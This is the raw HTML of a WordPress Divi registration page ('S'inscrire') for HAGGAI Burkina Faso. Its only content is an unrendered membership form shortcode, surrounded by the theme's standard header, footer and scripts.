					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-136" class="post-136 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">S’inscrire</h1>
				
				
					<div class="entry-content">
					<p>[ultimatemember form_id= »129&Prime;]</p>
					</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"c2017a83a8","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"b82a2f40be","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"136","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
